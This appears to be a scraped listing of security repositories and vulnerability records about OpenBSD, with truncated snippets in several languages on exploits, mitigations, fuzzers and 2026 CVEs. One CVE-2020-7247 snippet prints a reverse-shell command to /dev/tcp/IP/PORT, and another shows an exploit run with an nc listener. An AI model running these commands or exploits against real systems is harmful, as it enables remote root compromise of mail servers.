team-teso

team-teso El TESO-CVS fue regalado a THC en la fiesta del 10.º aniversario de THC en 2005 Berlín. Se publica aquí solo con fines educativos. DISFRUTA. Algunos artefactos nunca fueron alojados en el CVS y se han perdido en el tiempo: el exploit de ssh de TESO Muchos ¡ohh, tantos! exploits de OpenB...

exploit_mitigations

エクスプロイト緩和策 目標は、様々なオペレーティングシステム、ソフトウェア、ライブラリ、またはハードウェアにおいて、時間の経過とともに追加されたエクスプロイト緩和策をリスト化することです。 特定の脆弱性が、導入されている緩和策に応じて容易に悪用可能かどうかを知るのに便利です。 例を以下に示します: 目次 サポート対象 動機 現在の環境に緩和策Xは存在しますか？ 最後に サポート対象 現在サポートしているオペレーティングシステムは以下の通りです: Microsoft Windows Linux Google Android Apple iPhone OS iOS OpenBSD FreeB...

exploit_mitigations

Exploitation Mitigations The goal is to list exploitation mitigations added over time in various operating systems, software, libraries or hardware. It becomes handy to know if a given vulnerability is easily exploitable or not depending on exploitation mitigations in place. An example is the...

sn0int

sn0int sn0int pronounced /snoɪnt/ is a semi-automatic OSINT framework and package manager. It's used by IT security professionals, bug bounty hunters, law enforcement agencies and in security awareness trainings to gather intelligence about a given target or about yourself. sn0int is enumerating...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2020-7247

CVE-2020-7247 针对 CVE-2020-7247 的概念验证利用（OpenSMTPD 6.6.2 远程执行） OpenSMTPD 6.6.2 https://www.cvedetails.com/cve/CVE-2020-7247 已在以下环境测试：OpenBSD 6.6 致谢 Marco Ivaldi [email protected] 提供的载荷 用法 $ go run CVE-2020-7247.go -u 192.168.0.2 -p 25 -d example.org 如果你不使用 Linux，请在源代码中更改 nc 监听器...

Openbsd-Privilege-Escalation

Openbsd-Privilege-Escalation 一个脚本，通过利用 xlock 二进制文件获取其 sgid（CVE-2019-19520），自动执行 OpenBSD 系统上的权限提升过程；并通过（CVE-2019-19522）利用 auth 组的权限，向 Skey 或 Yubikey 添加密钥，从而提升至 root 用户。 C 代码几乎完全复制自原始 PoC：https://www.openwall.com/lists/oss-security/2019/12/04/5 CVE-2019-19522：通过 S/Key 和 YubiKey 进行本地权限提升 在 OpenBSD...

naxsi

Project Status This is a project status update regarding Naxsi. As you may have noticed, the development of Naxsi has been stopped and the repository will be archived for historical reasons. This means that no new updates or bug fixes will be released for this version. However, if you wish to...

TriforceOpenBSDFuzzer

TriforceOpenBSDSyscallFuzzer 20160825 https://github.com/nccgroup/TriforceOpenBSDFuzzer Jesse Hertz [email protected] Tim Newsham [email protected] This is a collection of files used to perform system call fuzzing of OpenBSD amd64 using TriforceAFL i.e. AFL and QEMU. To use it you will...

local-exploits

本地漏洞利用 各类本地漏洞利用 CVE-2020-8793 opensmptd-makemap-lpe —— Fedora 31 OpenSMTPD makemap 本地 root 漏洞利用。 代码大部分取自 Qualys 安全公告（2020-02-24），针对 CVE-2020-8793。 opensmtpd：非特权攻击者读取任意文件可导致信息泄露或权限提升 fedora-all CVE-2020-7247 root66 OpenBSD 6.6 OpenSMTPD 6.6 本地 root 漏洞利用。 代码大部分取自 Qualys PoC（2020-01-28），针对...

openbsd_ov1

OpenBSD TCP/IP 溢出 已在最新的 OpenBSD 7.2 上测试 详情： root@kitploit: int ipdooptionsstruct mbuf m, struct ifnet ifp ... for ; cnt 0; cnt -= optlen, cp += optlen opt = cpIPOPTOPTVAL; if opt == IPOPTEOL break; if opt == IPOPTNOP optlen = 1; else if cnt cnt code = &cpIPOPTOLEN - uchar ip; goto bad; switch opt...

CVE-2026-41285-OpenBSD-v6daemons-go-brrr

CVE-2026-41285：一包即杀死OpenBSD上的IPv6 来自本地网络的一个精心构造的ICMPv6数据包会永久挂起slaacd和/或rad。IPv6 SLAAC地址自动配置将失效，直到有人手动重启守护进程。无需认证，无需权限，只需18字节的ICMPv6负载。 | ---|--- CVE| CVE-2026-41285 漏洞类别| 整数下溢导致的无限循环 根本原因| ND选项解析器执行ndoptlen 8 - 2时未检查len==0 受影响组件| sbin/slaacd/engine.c，usr.sbin/rad/engine.c 影响| IPv6...

CVE-2026-56101

OpenBSD before commit 1ee99df contains an inverted comparison vulnerability in the ieee80211michaelmicfailure function within sys/net80211/ieee80211cryptotkip.c that allows unauthenticated attackers within RF range to trigger denial of service by sending two malformed TKIP frames separated by mor...

CVE-2026-56101 OpenBSD ieee80211_crypto_tkip.c TKIP MIC Countermeasure Logic Inversion DoS

OpenBSD before commit 1ee99df contains an inverted comparison vulnerability in the ieee80211michaelmicfailure function within sys/net80211/ieee80211cryptotkip.c that allows unauthenticated attackers within RF range to trigger denial of service by sending two malformed TKIP frames separated by mor...

EUVD-2026-72935

OpenBSD before commit 1ee99df contains an inverted comparison vulnerability in the ieee80211michaelmicfailure function within sys/net80211/ieee80211cryptotkip.c that allows unauthenticated attackers within RF range to trigger denial of service by sending two malformed TKIP frames separated by mor...

CVE-2026-56101

OpenBSD before commit 1ee99df contains an inverted comparison in the ieee80211_michael_mic_failure() function within sys/net80211/ieee80211_crypto_tkip.c. The reversed TKIP MIC failure countermeasure window check allows unauthenticated attackers within RF range to send two malformed TKIP frames s...

CVE-2022-50999

creationtimestamp| type| source ---|---|--- 2026-08-25 18:56:18+00:00| seen| https://bsky.app/profile/postac001.bsky.social/post/3mtwioadzaj2v 2026-09-02 09:07:06+00:00| seen| https://bsky.app/profile/cyberhub.blog/post/3mujlhzuqxc2l...

PT-2026-81199

OpenBSD before commit 1ee99df contains an inverted comparison vulnerability in the ieee80211 michael mic failure function within sys/net80211/ieee80211 crypto tkip.c that allows unauthenticated attackers within RF range to trigger denial of service by sending two malformed TKIP frames separated b...

Astra Linux – Vulnerabilities in Linux, Linux-5.15, Linux-5.10

In the Linux kernel, the following vulnerability has been resolved: wifi: brcmfmac: cfg80211: The PMK parameter is now passed as binary data, rather than hexadecimal data. It appears that the hexadecimal passphrase mechanism does not work on newer chips/firmwares e.g., BCM4387. There was actually...

CVE-2026-49426 Incorrect audit records for ptrace(2) syscall requests

When auditing a system call executed via ptracePTSCREMOTE, the kernel passed the return value of an internal setup function to AUDITSYSCALLEXIT rather than the actual result of the executed system call. As a result, committed audit records for system calls which returned an error do not reflect t...